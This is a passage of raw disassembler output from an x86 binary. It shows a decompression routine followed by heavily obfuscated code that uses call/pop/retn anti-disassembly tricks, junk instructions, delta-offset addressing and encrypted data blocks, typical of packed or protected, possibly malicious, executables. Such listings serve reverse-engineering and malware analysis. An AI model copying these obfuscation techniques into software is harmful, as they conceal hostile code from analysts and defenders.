loc_57DF4C mov dl, [esi] inc esi adc dl, dl loc_57DF4C: ; CODE XREF: sub_57DD3A+207j jb loc_57DF30 cmp eax, 7D00h jnb loc_57DF7F cmp eax, 500h jb loc_57DF76 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_57DE2A ; --------------------------------------------------------------------------- loc_57DF76: ; CODE XREF: sub_57DD3A+228j cmp eax, 7Fh ja loc_57DF82 loc_57DF7F: ; CODE XREF: sub_57DD3A+21Dj add ecx, 2 loc_57DF82: ; CODE XREF: sub_57DD3A+23Fj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_57DE2A ; --------------------------------------------------------------------------- loc_57DF8F: ; CODE XREF: sub_57DD3A:loc_57DE5Fj mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz loc_57DFB4 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_57DE2A ; --------------------------------------------------------------------------- loc_57DFB4: ; CODE XREF: sub_57DD3A+25Dj sub edi, [esp+28h] mov [esp+28h+var_E+2], edi popa retn 8 ; --------------------------------------------------------------------------- loc_57DFC0: ; CODE XREF: sub_57DD3A+D4j mov edx, 929h jmp loc_57E99D ; --------------------------------------------------------------------------- dw 2BE7h dd 9488BE95h, 5A199A8Eh, 0D20FEFEDh, 5E14CCAAh, 0F50720F8h dd 7D5C11A6h, 0CF36F42Ch, 0DBAC13Eh, 0D683B395h, 4D0B9282h dd 0C01EBCBFh, 151B89ADh, 0FF774397h, 7C4105ACh, 0CF36A620h dd 0EB5C73Ch, 0D699B395h, 52118F9Dh, 0DE02A2BFh, 1B0F9EB6h dd 0B34320FCh, 6D4101BBh, 8137F46Dh, 18A1C729h, 999FAA95h dd 521F8F9Ch, 0B1h, 62h dup(0) dd 2BE70000h, 9882B795h, 4D118992h, 0DC15BFBFh, 56179EBEh dd 0E04626BDh, 7C5706E9h, 0CE25A662h, 4AB0C625h, 9883AFC7h dd 1F199392h, 0CA47A1F6h, 1B0499B6h, 0E75437EEh, 131C09ACh dd 0C42FD601h, 46B1DB31h, 9A83AF95h, 1F1A9C94h, 0D547BBF6h dd 1B1B83ABh, 0FC4A2BF0h, 78121DBBh, 0D363E262h, 0BA0DB35h dd 8FCDAEC7h, 1F0C8894h, 0D408BDEFh, 151B8DABh, 48h dup(0) dd 2BE70000h, 979FB995h, 4D1B9698h, 0C747BCB8h, 1B1A83B6h dd 0B3542FF5h, 775701ABh, 0D42CE02Ch, 18F4CC3Eh, 9F83B4C0h dd 565E9A95h, 0DC1EEFF1h, 48569EACh, 0F6533DE4h, 14384AA4h dd 0C026EA5Ch, 4AF8CD23h, 9981B4C0h, 565E999Ah, 0C101EFEBh dd 565681B6h, 0E14823F8h, 775344B0h, 0C431A668h, 18B5DC23h dd 9994FAC1h, 4F5E8F8Eh, 0C100A0EDh, 5881B8h, 61h dup(0) dd 2CE70000h, 0D688B6DCh, 4D0C9298h, 0D613BFEAh, 1B58CDBDh dd 0E04E26C9h, 764014E9h, 0CC22F46Bh, 19B5C070h, 9388B895h dd 5E13DD95h, 0C617A6F1h, 5E028DB5h, 0FD466EF9h, 785F44ADh dd 0AB26E475h, 4DA0C15Dh, 9884FAC6h, 4B1D989Dh, 0D147ABFAh dd 1B17CCA0h, 0E65527CBh, 6B5D44BAh, 0C031E52Ch, 0EB1C333h dd 9EB9FA9Bh, 595E8E92h, 9302A3F6h, 1C1883AEh, 0FC506EE9h dd 78120FBBh, 0CE2EFF62h, 0FACD22h, 0E0h dup(0) dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0) aExitStatusD db 'Exit Status = %d',0 align 4 dd 0 db 0 ; --------------------------------------------------------------------------- loc_57E99D: ; CODE XREF: sub_57DD3A+28Bj jmp loc_58159B ; --------------------------------------------------------------------------- push 0 push eax call loc_57E9AD and [eax-3Dh], bl loc_57E9AD: ; CODE XREF: sub_57DD3A+C6Bp pop eax mov [esp+8+var_4], eax add [esp+8+var_4], 15h inc eax push eax retn ; --------------------------------------------------------------------------- fist dword ptr [edi] jmp loc_57E9CD ; --------------------------------------------------------------------------- dd 952AD556h, 65F7A0EDh db 86h ; --------------------------------------------------------------------------- loc_57E9CD: ; CODE XREF: sub_57DD3A+C85j cld mov [ebp+61500F9h], edx mov eax, eax mov [ebp+61520CDh], edx mov dl, 7Dh cmp dword ptr [ebp+61508F5h], 0 jnz short loc_57E9F0 cmp dword ptr [ebp+61503ADh], 0 jz short loc_57EA03 loc_57E9F0: ; CODE XREF: sub_57DD3A+CABj push eax push ebx mov eax, eax mov eax, 1 lea ebx, [ebp+617A940h] call ebx ; _iob pop ebx pop eax loc_57EA03: ; CODE XREF: sub_57DD3A+CB4j cmp dword ptr [ebp+61503ADh], 0 jz short loc_57EA1D push eax push ebx mov eax, 1 lea ebx, [ebp+617A7F1h] call ebx ; _iob pop ebx pop eax loc_57EA1D: ; CODE XREF: sub_57DD3A+CD0j jo loc_57EA36 jmp loc_57EA36 ; --------------------------------------------------------------------------- dd 95B9BCEDh, 483605FAh, 0BA346444h ; --------------------------------------------------------------------------- mov dh, 66h loc_57EA36: ; CODE XREF: sub_57DD3A:loc_57EA1Dj ; sub_57DD3A+CE9j mov edx, [ebp+6152B25h] mov eax, eax cmp dword ptr [ebp+6151E15h], 0 jz loc_57EC10 add ebx, [ebp+6152435h] cmp dword ptr [ebp+6150309h], 0 jz loc_57EC10 push 0 push edi call loc_57EA69 and [edi-3Dh], bl loc_57EA69: ; CODE XREF: sub_57DD3A+D27p pop edi mov [esp+0Ch+var_8], edi add [esp+0Ch+var_8], 16h inc edi push edi retn ; --------------------------------------------------------------------------- cld mov dword ptr [ebx], 60D78B66h push 0 push ebx call loc_57EA8B and [ebx-3Dh], bl loc_57EA8B: ; CODE XREF: sub_57DD3A+D49p pop ebx mov [esp+10h+var_E+2], ebx add [esp+10h+var_E+2], 1Dh inc ebx push ebx retn ; --------------------------------------------------------------------------- dec ecx cmp eax, esp fcomi st, st(2) pop esi cwde std or al, 6Dh mov edx, ebx mov eax, [ebp+6150309h] push ebx and bh, 7Ch pop ebx add eax, 3E8h jge loc_57EAC3 mov edx, [ebp+6152229h] loc_57EAC3: ; CODE XREF: sub_57DD3A+D7Dj push eax mov edx, ecx mov [esp+14h+var_16+2], eax push 0 push eax call loc_57EAD4 and [eax-3Dh], bl loc_57EAD4: ; CODE XREF: sub_57DD3A+D92p pop eax mov [esp+14h+var_12+2], eax add [esp+14h+var_12+2], 17h inc eax push eax retn ; --------------------------------------------------------------------------- dd 0FAC23544h, 0BAD9D29h, 858D0615h, 6154F55h, 27999589h dd 0E8900615h, 8, 8B697B34h, 0D86B2786h, 5B616053h, 5260505Bh dd 8E8h, 0BB3D3A00h, 4284AD59h, 0F585BA5h, 28Ch, 61616000h dd 0B9BD2990h, 8D061522h, 154F3385h, 0CE806h, 0A66A0000h dd 479A207Ch, 2D98AEC3h, 0D18B745Bh, 5250505Ah, 13E8h dd 43437100h, 9FB1BB15h, 9FD50D2Eh, 0F3478A22h, 59AD0CBDh dd 0F5B6160h, 0D88B6631h, 489585Ah, 5FC28024h, 8E19589h dd 95FF0615h, 6152F29h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 9AC35747h, 0BA98D89h, 85890615h, 61518E5h dd 0B0CC483h, 15116595h, 33858D06h, 6A06154Fh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 73ACC356h, 5DBA25A2h, 794C30E8h, 89DF8B50h, 8F0F2404h dd 6, 23FD9D89h, 26A0615h, 0FFC7EA80h, 6AED1495h, 0D18B6600h dd 0EE961h, 46C20000h, 0F5F0B421h, 0C2638E50h, 0C439DC68h ; --------------------------------------------------------------------------- loc_57EC10: ; CODE XREF: sub_57DD3A+D0Bj ; sub_57DD3A+D1Ej mov dword ptr [ebp+6154F66h], 1 and edx, 2BD463E3h push eax mov dx, si mov [esp+10h+var_12+2], esi sub [ebp+615046Dh], esi add edx, 7D4B05C1h mov [ebp+6154F17h], esi call loc_57EC47 wait push 52h mov ch, 52h cmpsb push esp lock push ebp loc_57EC47: ; CODE XREF: sub_57DD3A+EFFp jnz loc_57EC53 add [ebp+6151C8Dh], eax loc_57EC53: ; CODE XREF: sub_57DD3A:loc_57EC47j pop ebx cmp dword ptr [ebp+6152DB5h], 1 jnz loc_57ECD8 push 0 push eax call loc_57EC6C and [eax-3Dh], bl loc_57EC6C: ; CODE XREF: sub_57DD3A+F2Ap pop eax mov [esp+14h+var_12+2], eax add [esp+14h+var_12+2], 1Dh inc eax push eax retn ; --------------------------------------------------------------------------- dd 0A6A1E670h, 2EFE1E39h, 0CA80F03Eh, 5F883B0h, 46850Fh dd 0E3810000h, 6ECD7A3Fh, 99858953h, 5A061523h, 0B8h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 6689C24Ah, 0FF943BBh, 0B84h, 0BD016000h, 6152831h, 61F4D880h ; --------------------------------------------------------------------------- loc_57ECD8: ; CODE XREF: sub_57DD3A+F21j cmp dword ptr [ebp+615056Dh], 0 jz loc_57ED1C or dx, 0B15h pusha mov ebx, [ebp+61501FDh] call dword ptr [ebp+615056Dh] jz loc_57ED05 push ecx mov ebx, [ebp+6150421h] pop edx loc_57ED05: ; CODE XREF: sub_57DD3A+FBDj pusha mov [ebp+61514C5h], esi push edi mov eax, [ebp+61528E9h] pop ecx popa popa sub ebx, [ebp+615100Dh] loc_57ED1C: ; CODE XREF: sub_57DD3A+FA5j cmp dword ptr [ebp+6150A01h], 0 jz loc_57ED3D xor ebx, 799B9977h mov eax, 0 or [ebp+6150909h], esi movsx edx, ax loc_57ED3D: ; CODE XREF: sub_57DD3A+FE9j pusha push 0 push edx call loc_57ED49 and [edx-3Dh], bl loc_57ED49: ; CODE XREF: sub_57DD3A+1007p pop edx mov [esp+34h+var_32+2], edx add [esp+34h+var_32+2], 1Ah inc edx push edx retn ; --------------------------------------------------------------------------- db 9Ah, 6Dh, 2Eh ; --------------------------------------------------------------------------- jnb short near ptr loc_57ED60+2 push cs pop ecx loc_57ED60: ; CODE XREF: sub_57DD3A+1022j adc dx, 5805h mov eax, [ebp+6152849h] add eax, 2 push 0 push ebp call loc_57ED79 and [ebp-3Dh], bl loc_57ED79: ; CODE XREF: sub_57DD3A+1037p pop ebp mov [esp+38h+var_36+2], ebp add [esp+38h+var_36+2], 15h inc ebp push ebp retn ; --------------------------------------------------------------------------- test [esi+17E9958Bh], bh adc eax, 0F858906h dec edi adc eax, 0BD016006h inc ebp or ds:898D2906h, edx push ds adc eax, 0C66106h jmp fword ptr [edx+0] ; --------------------------------------------------------------------------- push eax call loc_57EDB3 and [eax-3Dh], bl loc_57EDB3: ; CODE XREF: sub_57DD3A+1071p pop eax mov [esp+3Ch+var_3A+2], eax add [esp+3Ch+var_3A+2], 15h inc eax push eax retn ; --------------------------------------------------------------------------- db 0F2h dd 859503E2h, 89061517h, 15110585h, 0AD9D8B06h, 0C6061519h dd 1509C585h, 958B5306h, 6152789h, 971958Bh, 0D4680615h dd 0BBE26F92h, 53C19D7Fh, 0C243481h, 801EDEDAh, 0B5FF2ED3h dd 6152811h, 0D559589h, 858D0615h, 61872BCh, 19D99589h dd 0D0FF0615h, 259CB0BAh, 2185895Bh, 0B206152Eh, 0EDBD83DBh dd 106150Bh, 63850Fh, 85890000h, 6152D0Dh, 600BA61h, 9D8B0EAAh dd 6151721h, 9C585C6h, 0BA450615h, 4B0D7FF1h, 95A36068h dd 0D78B66BBh, 0A2243481h, 0B661F59Bh, 11B5FF0Eh, 29061528h dd 150C7DBDh, 1850906h, 8D061501h, 1872BC85h, 559D8B06h dd 0B06150Ah, 15139195h, 9D0FF06h, 1533E18Dh, 0B2006A06h dd 0B3D0FFA3h, 0D5BD838Ch, 1061533h, 137850Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 417D69C3h, 4CE2F3B6h, 80368F93h, 858B7CEFh, 6152849h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0F4C35040h dd 17C6A38Bh, 870F6051h, 0Dh, 8E9h, 5FE19600h, 0F02A8E79h dd 0B50B51EBh, 6151D39h, 76E96158h, 66000000h, 718CF281h dd 8A525090h, 0E9310FF3h, 0Eh, 0F4111CB2h, 0B0D5F41Bh dd 6696CEC5h, 585A55C9h, 0B0BB6650h, 8E9907Ch, 7C000000h dd 0BCC6E63Fh, 6AC82F28h, 51006A14h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0D59A9E5Fh dd 606FE1C6h, 8E98BB66h, 9EF8BF66h, 0FFDD8A61h, 152E2195h dd 8D8BBA06h, 89587D09h, 15024DB5h, 388006h, 0FF86850Fh dd 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 0D27E58C3h, 0C6F9322Fh, 6A0100h, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0C87784C3h, 8B667F1Eh, 6A61DFh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 9BE9D9C3h, 0B3B32699h dd 1DBD838Eh, 61503h, 3B840Fh, 81660000h, 6A6E02E2h, 57006AFFh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0FFB84127h, 152E2195h, 5AF95106h, 0FFFFD2E9h, 8D8960FFh dd 6150C15h, 1D85C761h, 1061503h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 2B1C357h, 8B455EE9h, 15184995h, 1B858906h, 0F06154Fh dd 186h, 0BB90F800h, 2C5645B7h, 7E850h, 0FC3F0000h, 2CB086FAh dd 57525085h, 0F310F5Ah, 83h, 5A585A00h, 0F9950B90h, 6006152Ch dd 6AD0B70Fh, 0C1BD8905h, 8D061521h, 154F3385h, 90BEB306h dd 12E9h, 0CF3DA600h, 0DDCFCC9h, 505037ABh, 0C4689A53h dd 50B86936h, 8190D38Ah, 11FA67EAh, 23858D16h, 6A06154Fh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 0C666C352h, 0E3FD793Ch, 0F8E84A9h, 0A8D8509h dd 89500615h, 830F2404h, 19h, 0FE960h, 81320000h, 482D9F06h dd 88EF62E5h, 4703BC4Fh, 0CEB70F92h, 0B195FF61h, 6A061504h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 2A74C351h, 7AFD8D8Dh, 6A0615h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 905FC2C3h dd 0E280D68Bh, 74C00B26h, 33858D11h, 5006154Fh, 8589D1FFh dd 6154F51h, 85C70AEBh, 6154F51h, 0FFFFFFFFh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 84C35545h, 5A9D641Bh dd 0F6E7857Ah, 3941C281h, 6A613635h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 80F7C355h dd 7BB00BE2h, 0BD89B3E5h, 6153371h, 85C6D18Bh, 61509C5h dd 2D9D8B4Dh, 68061526h, 8C38F817h, 5AD68B56h, 0BF243481h dd 6A280D8Eh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 3DFCC356h, 94ED015Dh, 0FF29D728h dd 152159B5h, 858DF906h, 61872BCh, 6731BA66h, 8E8D0FFh dd 65000000h, 0BCF6CBEAh, 896F1EF8h, 150C65B5h, 85895A06h dd 61506D5h, 0EF8028B2h, 0C585C671h, 45061509h, 1121958Bh dd 958B0615h, 6152925h, 52963C68h, 53525081h, 5BD88B66h dd 8B66310Fh, 81585ADEh, 0D32D2404h, 0DB800D1Fh, 0CA81660Dh dd 0B5FFD8C6h, 6152811h, 3445B509h, 858D0615h, 61872BCh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 53C35545h dd 994F8B20h, 930283A2h, 9589D0FFh, 61511D9h, 26698589h dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 3BF84FC3h, 0BF0F3545h, 0D88B66DBh, 6AD28Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0BA075AC3h, 0A4440887h, 9D8BF0Fh, 15074985h, 0D98C6606h dd 0C1F6D9B7h, 40840F04h, 6A000002h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 73E6C355h dd 0C7A35ADCh, 895A01A0h, 15271185h, 0D9958B06h, 0E9061522h dd 110h, 18B5958Bh, 0B58B0615h, 6150B8Dh, 0CE9h, 125BE300h dd 681BD834h, 0FC6B2B7Fh, 80C68166h, 6A000011h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 2992C351h, 0F4D90E84h, 0C45685C3h, 5E28BB66h, 1E01BD83h dd 0F000615h, 2A85h, 87E9FC00h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 668C352h dd 6BB01B80h, 83D78B83h, 840F003Eh, 5Ah, 0A18D0957h, 5B061511h dd 0CB816660h, 146AD69Fh, 95FF87B7h, 6152E21h, 202115BAh dd 6A6145h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 0AEE235C3h, 9E8D2E9h, 0D2000000h, 6A36571Dh dd 1C12136Fh, 16759D09h, 0E95B0615h, 0FFFFFF9Fh, 6C7D68Bh dd 1, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h dd 9BC35141h, 0FC0A977h, 2E7806Ch, 4F1BBD83h, 0F050615h dd 0EE85h, 0D78B6600h, 2669B58Bh, 8D0F0615h, 0 ; --------------------------------------------------------------------------- mov ecx, 64h push 0 push edi call loc_57F4B4 and [edi-3Dh], bl loc_57F4B4: ; CODE XREF: sub_57DD3A+1772p pop edi mov [esp+40h+var_3E+2], edi add [esp+40h+var_3E+2], 19h inc edi push edi retn ; --------------------------------------------------------------------------- push ds push ss mov al, ds:0FEFBE86h mov bh, 0DBh sub [ebp+615138Dh], edx loc_57F4D3: ; CODE XREF: sub_57DD3A+1805j cmp byte ptr [esi], 0E8h jz loc_57F517 push 0 push ecx call loc_57F4E7 and [ecx-3Dh], bl loc_57F4E7: ; CODE XREF: sub_57DD3A+17A5p pop ecx mov [esp+4], ecx add dword ptr [esp+4], 1Bh inc ecx push ecx retn ; --------------------------------------------------------------------------- db 7Ah dd 3706E99Ah, 8B81BBC5h, 151E8995h, 2DE906h, 8E90000h dd 8E000000h, 3AFCFF4Ch db 0F0h, 5Bh, 0A9h ; --------------------------------------------------------------------------- loc_57F517: ; CODE XREF: sub_57DD3A+179Cj cmp byte ptr [esi+5], 0C2h jz loc_57F571 ja loc_57F534 jmp loc_57F534 ; --------------------------------------------------------------------------- dd 1993C66h, 0A64C2711h ; --------------------------------------------------------------------------- loc_57F534: ; CODE XREF: sub_57DD3A+17E7j ; sub_57DD3A+17EDj movzx ebx, cx inc esi and ebx, [ebp+6151081h] dec ecx jnz loc_57F4D3 mov [ebp+6152395h], edi jmp loc_57F583 ; --------------------------------------------------------------------------- push 0 push ecx call loc_57F55B and [ecx-3Dh], bl loc_57F55B: ; CODE XREF: sub_57DD3A+1819p pop ecx mov [esp+4], ecx add dword ptr [esp+4], 19h inc ecx push ecx retn ; --------------------------------------------------------------------------- db 67h dd 80E7EF87h db 72h ; --------------------------------------------------------------------------- loc_57F571: ; CODE XREF: sub_57DD3A+17E1j mov [ebp+6150E31h], esi or [ebp+6151159h], esi mov [ebp+61525B1h], ecx loc_57F583: ; CODE XREF: sub_57DD3A+1811j pop eax xor ebx, 36B15B57h cmp dword ptr [ebp+61528C9h], 0 jz loc_57F681 pusha add dx, 1982h mov byte ptr [ebp+61509C5h], 54h mov ebx, [ebp+61518E5h] push 0D3D3E6B0h mov dh, 49h xor [esp+6Ch+var_6C], 2C9D5844h push 0 push ecx call loc_57F5C3 and [ecx-3Dh], bl loc_57F5C3: ; CODE XREF: sub_57DD3A+1881p pop ecx mov [esp+6Ch+var_68], ecx add [esp+6Ch+var_68], 14h inc ecx push ecx retn ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- mov [ebp+6151D85h], ebx stc push dword ptr [ebp+6152811h] movsx edx, ax movzx ebx, cx lea eax, [ebp+61872BCh] push 0 push ebx call loc_57F5F8 and [ebx-3Dh], bl loc_57F5F8: ; CODE XREF: sub_57DD3A+18B6p pop ebx mov [esp+74h+var_70], ebx add [esp+74h+var_70], 1Ah inc ebx push ebx retn ; --------------------------------------------------------------------------- dd 9422F9C8h, 0E8D55877h, 8, 9879B14Dh, 0F0A8E50Eh, 0FF5AD08Bh dd 0B19D23D0h, 6A061527h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 6DBB6658h dd 0C9B5FFEBh, 89061528h, 15129195h, 66D0FF06h, 6A61D38Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 0A6FAC350h, 0F87174Ch, 8Ah db 0 ; --------------------------------------------------------------------------- loc_57F681: ; CODE XREF: sub_57DD3A+1857j mov dword ptr [ebp+61518A9h], 1 push 0 push eax call loc_57F696 and [eax-3Dh], bl loc_57F696: ; CODE XREF: sub_57DD3A+1954p pop eax mov [esp+48h+var_46+2], eax add [esp+48h+var_46+2], 1Bh inc eax push eax retn ; --------------------------------------------------------------------------- dw 696Dh ; --------------------------------------------------------------------------- add eax, 4F0898A3h cmp al, 60h mov ax, cx mov ecx, [ebp+615035Dh] popa pusha push 0 push ebx call loc_57F6C5 and [ebx-3Dh], bl loc_57F6C5: ; CODE XREF: sub_57DD3A+1983p pop ebx mov [esp+4], ebx add dword ptr [esp+4], 15h inc ebx push ebx retn ; --------------------------------------------------------------------------- mov ch, 0CBh mov edx, [ebp+6150A4Dh] push 2A62160Bh mov edx, eax xor [esp+54h+var_54], 2A62168Bh jz loc_57F6F5 push eax mov edx, ebx pop ebx loc_57F6F5: ; CODE XREF: sub_57DD3A+19B1j push 0FFFFFFFFh mov [ebp+6152E3Dh], edx call dword ptr [ebp+615248Dh] mov edx, [ebp+6151089h] popa jmp loc_57F723 ; --------------------------------------------------------------------------- db 0B7h dd 54503BC5h, 0D8BE598Ah, 0FEE6E775h, 78355A26h ; --------------------------------------------------------------------------- pop dword ptr [ebp+51h] loc_57F723: ; CODE XREF: sub_57DD3A+19D0j mov ebx, [ebp+6152A51h] nop jmp loc_57F73A ; --------------------------------------------------------------------------- dec ebx fld qword ptr [eax+67427E48h] dec esp db 66h xlat cmpsd loc_57F73A: ; CODE XREF: sub_57DD3A+19F0j push eax pusha mov bh, 0B6h popa nop push 0 push esi call loc_57F74B and [esi-3Dh], bl loc_57F74B: ; CODE XREF: sub_57DD3A+1A09p pop esi mov [esp+38h+var_36+2], esi add [esp+38h+var_36+2], 1Dh inc esi push esi retn ; --------------------------------------------------------------------------- db 0B0h ; --------------------------------------------------------------------------- mov ds:8E6655D5h, eax fnstenv byte ptr [eax+esi*4-56h] xor [ebp+61505DDh], edi mov eax, [ebp+6150C21h] push 0 push ecx call loc_57F77C and [ecx-3Dh], bl loc_57F77C: ; CODE XREF: sub_57DD3A+1A3Ap pop ecx mov [esp+3Ch+var_3A+2], ecx add [esp+3Ch+var_3A+2], 1Dh inc ecx push ecx retn ; --------------------------------------------------------------------------- dd 0B449B627h, 1165E858h, 0FE84A03h, 65000000h, 10BAE66Bh dd 2C1C3F32h, 81674D51h, 0BF0FD0E1h, 0C00B5AD0h, 0C840Fh dd 95FF0000h, 6152B39h, 947DE281h, 85C7636Bh, 615111Dh dd 1, 38F0Fh, 0DF800000h, 0E9BD831Eh, 61502h, 0F840Fh dd 0C2800000h, 595FFA0h, 89061515h, 15261585h, 75BD8306h dd 61507h, 11840Fh, 0DE8B0000h, 82595FFh, 0E7800615h, 819D8B75h dd 8306151Eh, 150DC1BDh, 840F0006h, 9Eh, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 15h, 0C0C35343h, 0F585898Bh dd 83061512h, 150A19BDh, 850F0006h, 6Eh, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Dh, 0BDC35141h, 7DAA246Ah dd 0DFD97B44h, 8D8951FFh, 615100Dh, 0E595FF5Bh, 6A061501h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 2E81C351h, 0D9D8B9Fh, 0F061529h, 1188h, 0CE900h dd 5D960000h, 0B1E6402Ch, 0C015E65Ch, 0BD83F2BBh, 61525CDh dd 6A840F00h, 0F000000h, 685h, 7DB53100h, 81061508h, 15138585h dd 400306h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 5D8F80FAh, 499D8B6Bh, 8106150Ch dd 1502A185h, 400306h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 43A3F628h, 0FC6BB560h dd 0E9310F61h, 10h, 0D60993A6h, 0E5A30067h, 5973F92Bh dd 0E41E7FF5h, 5EA48D8Dh, 8B660615h, 890189DEh, 150AA985h dd 6AC23306h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 6725C350h, 7D96C729h, 6A59D01h dd 41890615h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 810F57D9h, 6, 0FF99529h, 310F0615h dd 12E9h, 4A32DD00h, 5C433CD0h, 0D767B3D8h, 88ACC4AEh dd 8D9C6882h, 155ED48Dh, 0DE806h, 22150000h, 53DEB198h dd 7D362008h, 81680778h, 548685CBh, 1895A42h, 0DE957h dd 1CF30000h, 0E7395180h, 2C0F807Ah, 5A79C2DAh, 0B70FC233h dd 44189D6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 50C35747h, 0D2F9981Ah, 839314D0h, 151CF9BDh, 840F0006h dd 11h, 8A5BD29h, 95FF0615h, 6150931h, 883E7ABAh, 45BD832Eh dd 1061500h, 57850Fh, 0F38A0000h, 50E9h, 4ABA5000h, 5B4F0D92h dd 6025B58Bh, 6C70615h, 0 dd 5DA6B58Bh, 6C70615h, 0 dd 95958BCFh, 6A061511h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 0A917C353h, 85DA0120h dd 8967EF07h, 15127D8Dh, 1DBD8306h, 61511h, 113840Fh, 0BB660000h dd 0BD838B93h, 6150941h, 0EF850F01h, 53000000h, 5B08EF80h dd 4F0F8D8Bh, 0DB810615h, 25EC902Ch, 0E90001C6h, 12h, 9F20A7DEh dd 5A181787h, 0FF0CE77h, 0B72DDC1Ch, 6A60EBE3h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 941AC352h, 0F921D6Fh, 0E468D1BFh, 0E8610B98h, 9, 7BCAE13Bh dd 7B0DAC17h, 0D86ABA60h, 815A08BFh, 98642434h, 5E9610Bh dd 8A000000h, 273F43CDh, 0FFFF6AF5h, 15248D95h, 0E8D78006h dd 49CF8061h, 260195FFh, 958B0615h, 6152D49h, 4F0F8D8Bh dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 606B2FC3h, 8518481Ah, 80BCAADDh, 1FEDBEAh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 8C35141h dd 0E789A0BFh, 8D1B5B0Ah, 13899D8Bh, 0BD830615h, 6151CE1h dd 6850F01h, 81000000h, 67D064DBh, 6AC08B74h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 2375C357h, 95958BDAh, 8306150Ah, 1508F5BDh, 9750006h dd 3ADBD83h, 74000615h, 8B53501Ah, 85858BC0h, 89061513h dd 15138585h, 9E9D8D06h, 0FF0617AAh, 83585BD3h, 1503ADBDh dd 18740006h, 858B5350h, 6151385h, 13858589h, 9D8D0615h dd 617A78Dh, 585BD3FFh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 7BC35242h, 62834242h, 5263DFADh, 8A0F60h dd 29000000h, 1518E595h, 315A6106h, 150B7D8Dh, 6AC08B06h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 0B3F1C356h, 661E254Eh, 4BA1E281h, 83D8CB80h dd 15111DBDh, 850F0006h, 1Bh, 83FC21B3h, 152975BDh, 840F0006h dd 0Bh, 4CE58060h, 7ADBD89h, 83610615h, 15111DBDh, 840F0006h dd 49h, 9E9h, 6677E200h, 0EB4F0DD8h, 0BD837996h, 6150C79h dd 2E840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 982EC356h, 0D7838DADh dd 66877BDAh, 8B33ADBBh, 1519A19Dh, 1DBD8306h, 61511h dd 30840Fh, 83F80000h, 150C79BDh, 840F0006h, 22h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 88C35545h, 0A0E556C4h dd 0BD83D37Fh, 615111Dh, 46840F00h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 8E90C353h, 49CB8166h, 75B58904h, 83061528h, 151655BDh dd 840F0006h, 11h, 0CE9h, 4B4EE100h, 52F03BA5h, 12C73593h dd 1DBD83C8h, 61511h, 56840Fh, 